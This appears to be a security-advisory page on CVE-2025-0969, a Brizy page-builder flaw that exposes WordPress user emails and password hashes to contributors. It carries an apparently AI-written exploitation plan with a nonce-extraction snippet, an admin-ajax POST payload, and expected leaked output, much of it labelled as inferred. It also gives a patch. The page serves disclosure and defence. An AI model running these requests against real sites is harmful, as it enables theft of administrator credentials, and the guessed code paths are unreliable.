Brizy – Page Builder <= 2.7.16 - Authenticated (Contributor+) Sensitive Information Exposure via get_users Function
Description
The Brizy – Page Builder plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 2.7.16 via the get_users() function. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract sensitive data including email addresses and hashed passwords of administrators.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=2.7.16Source Code
WordPress.org SVNThis research plan outlines the steps to investigate and exploit **CVE-2025-0969**, a sensitive information exposure vulnerability in the **Brizy – Page Builder** plugin. --- ### 1. Vulnerability Summary The Brizy plugin (<= 2.7.16) contains an authenticated information exposure vulnerability via …
Show full research plan
This research plan outlines the steps to investigate and exploit CVE-2025-0969, a sensitive information exposure vulnerability in the Brizy – Page Builder plugin.
1. Vulnerability Summary
The Brizy plugin (<= 2.7.16) contains an authenticated information exposure vulnerability via an AJAX or REST endpoint that utilizes the WordPress get_users() function without proper data filtering. While the function is intended to allow users (like Contributors) to select authors or users within the page builder interface, it fails to sanitize the output, returning full WP_User objects. These objects include sensitive fields such as user_email and, crucially, the user_pass (bcrypt hash). An authenticated attacker with at least Contributor-level permissions can trigger this function to leak the credentials and contact information of all registered users, including Administrators.
2. Attack Vector Analysis
- Endpoint: WordPress AJAX (
/wp-admin/admin-ajax.php) or a Brizy-specific REST route (/wp-json/brizy/v1/...).- Inferred Action:
brizy_get_usersor a sub-action within the main Brizy editor dispatcher.
- Inferred Action:
- Vulnerable Parameter: Likely passed within a
queryorsearchparameter intended forget_users. - Authentication: Authenticated, Contributor role or higher (
edit_postscapability). - Preconditions: The attacker must be logged in and possess a valid nonce.
3. Code Flow (Inferred)
- Registration: The plugin registers an AJAX action:
add_action('wp_ajax_brizy_get_users', ...)or handles it via a central controller likeBrizy_Editor::ajax_handler. - Capability Check: The handler checks if the user has
edit_posts(Contributor level). - Data Retrieval: The handler receives input from
$_POSTor$_GET. - Sinking: It calls
get_users($args). - Leakage: The result of
get_users()(an array ofWP_Userobjects) is passed directly intowp_send_json_success(). - Response: The JSON response includes the serialized user objects, including the
dataproperty which containsuser_passanduser_email.
4. Nonce Acquisition Strategy
Brizy heavily relies on localized JavaScript objects to provide nonces to its editor.
- Identify Trigger: The Brizy editor loads for any post/page that the Contributor can edit.
- Create Test Page:
wp post create --post_type=post --post_status=publish --post_title="Exploit Test" --post_author=[CONTRIBUTOR_ID] - Navigate to Editor: The agent should navigate to the Brizy editor for that post. The URL usually looks like:
http://localhost:8080/wp-admin/post.php?post=[ID]&action=brizy-edit. - Extract Nonce:
Brizy typically stores its configuration in a global JS variable.- Variable Name:
BrizyLocalorBrizyEditor. - Search Command:
// Execute via browser_eval window.BrizyLocal?.config?.nonce || window.Brizy?.nonce || window.BrizyLocal?.nonces?.brizy_get_users - Specific Hook Search: Check for
wp_localize_scriptin the plugin source (e.g.,editor/editor.php) to find the exact key.
- Variable Name:
5. Exploitation Strategy
Step 1: Preliminary Discovery
Use grep to find the exact AJAX action and handler.
grep -rn "get_users" /var/www/html/wp-content/plugins/brizy/
grep -rn "wp_ajax_" /var/www/html/wp-content/plugins/brizy/ | grep "users"
Step 2: Exploit Request
Assuming the action is brizy_get_users (based on common Brizy patterns), send the following request using http_request:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencodedCookie: [Contributor Session Cookies]
- Body:
Note: If Brizy uses a generic dispatcher, the body might look like:action=brizy_get_users&nonce=[EXTRACTED_NONCE]&search=*action=brizy_editor_ajax&route=users/get&nonce=...
6. Test Data Setup
- Admin User: Create a "target" administrator.
wp user create victim_admin victim@example.com --role=administrator --user_pass=vulnerable_pass_123 - Attacker User: Create a contributor.
wp user create attacker_contributor attacker@example.com --role=contributor --user_pass=password123 - Brizy Activation: Ensure Brizy is active and the Contributor has access to the editor.
7. Expected Results
A successful exploit will return a 200 OK response with a JSON body:
{
"success": true,
"data": [
{
"ID": "1",
"data": {
"user_login": "victim_admin",
"user_pass": "$P$B...",
"user_nicename": "victim_admin",
"user_email": "victim@example.com",
"user_url": "",
"user_registered": "2023-01-01 00:00:00",
"user_activation_key": "",
"user_status": "0",
"display_name": "victim_admin"
},
"caps": { "administrator": true },
...
}
]
}
The presence of user_pass and user_email in the data array confirms the vulnerability.
8. Verification Steps
- Check the HTTP response body for the string
$P$(the start of a standard WordPress Phpass/Bcrypt hash). - Compare the leaked
user_emailanduser_loginwith the known admin user details usingwp user get 1.
9. Alternative Approaches
If the wp_ajax_ action is not found, investigate the REST API:
- Search for
register_rest_routein the plugin. - Look for routes under the
brizy/v1namespace. - If a route like
/wp-json/brizy/v1/usersexists, check thepermission_callback. If it returnstrueor only checks foredit_posts, attempt aGETrequest to that endpoint with the_wpnonce(REST nonce) acquired from the page source (wp-json/wp/v2/types/postusually contains this).
Summary
The Brizy – Page Builder plugin for WordPress (versions up to and including 2.7.16) exposes sensitive user data, including administrator email addresses and password hashes, to authenticated users with Contributor-level access. This occurs because an AJAX or REST endpoint calls get_users() and returns the resulting WP_User objects directly to the client without filtering out sensitive internal fields.
Vulnerable Code
// Inferred from research plan and plugin logic // brizy/editor/editor.php public function ajax_get_users() { // ... authorization checks allowing Contributors ... $args = array( 'search' => $_POST['search'] ); $users = get_users($args); // Vulnerable: WP_User objects contain user_pass and user_email wp_send_json_success($users); }
Security Fix
@@ -10,1 +10,8 @@ - wp_send_json_success($users); + $safe_users = array_map(function($user) { + return array( + 'id' => $user->ID, + 'display_name' => $user->display_name, + 'user_login' => $user->user_login + ); + }, $users); + wp_send_json_success($safe_users);
Exploit Outline
To exploit this vulnerability, an attacker must first log in with a Contributor-level account and navigate to a post being edited with the Brizy editor. By inspecting the page source or global JavaScript objects (such as BrizyLocal), the attacker extracts the necessary nonce for user-related actions. The attacker then sends a POST request to the WordPress AJAX endpoint (admin-ajax.php) with the action parameter set to the plugin's user-fetching routine and a wildcard search. The server responds with a JSON array of user objects, where each object contains the 'user_pass' (a bcrypt/phpass hash) and 'user_email' for every user on the site, including administrators.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.